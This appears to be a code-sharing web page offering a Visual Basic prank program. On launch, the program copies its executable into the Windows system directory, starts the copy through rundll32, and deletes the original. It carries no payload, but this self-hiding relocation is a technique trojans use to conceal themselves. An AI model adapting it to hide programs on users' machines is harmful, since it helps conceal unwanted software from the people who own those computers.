• Home
 · 
• Files/File Controls/Input/Output
 · 
• Once compiled and double clicked on, it will copy itself to another part of your computer and delet

Once compiled and double clicked on, it will copy itself to another part of your computer and delet

Once compiled and double clicked on, it will copy itself to another part of your computer and delete itself from the original position.

Rate Once compiled and double clicked on, it will copy itself to another part of your computer and delet

• 1
• 2
• 3
• 4
• 5

(1(1 Vote))

'just disappear! But actually what happened is that it will copy a dat file in 'windows directory. Next it will copy itself to system directory and then 'delete itself from the original place. Change the file names and directories 'to your needs.


Private Sub Form_Load()
Dim windowsdir As String
Dim originalpath As String

windowsdir = Environ("windir")
FileExists = Not (Dir(windowsdir & "\funny.dat") = "")
If FileExists = False Then
    
    Open windowsdir & "\funny.dat" For Output As #2
    Print #2, App.Path
    Close #2
    
    FileCopy App.Path + "\funny.exe", windowsdir + "\system\funny.exe"
    Ret = Shell("rundll32.exe url.dll,FileProtocolHandler " + windowsdir + "\system\funny.exe")
    End
    
Else
    windowsdir = Environ("windir")
    Open windowsdir & "\funny.dat" For Input As #3
    Input #3, originalpath
    Close #3
    
    FileExists = Not (Dir(originalpath & "\funny.exe") = "")
    If FileExists = False Then
        
    Else
        Kill (originalpath & "\funny.exe")
    End If
    
    
    
End If

End Sub